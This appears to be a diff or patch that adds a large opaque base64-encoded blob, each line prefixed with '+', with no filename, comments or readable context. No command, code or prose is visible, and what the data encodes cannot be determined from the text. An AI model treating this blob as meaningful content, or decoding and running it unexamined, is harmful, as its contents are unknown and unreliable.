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 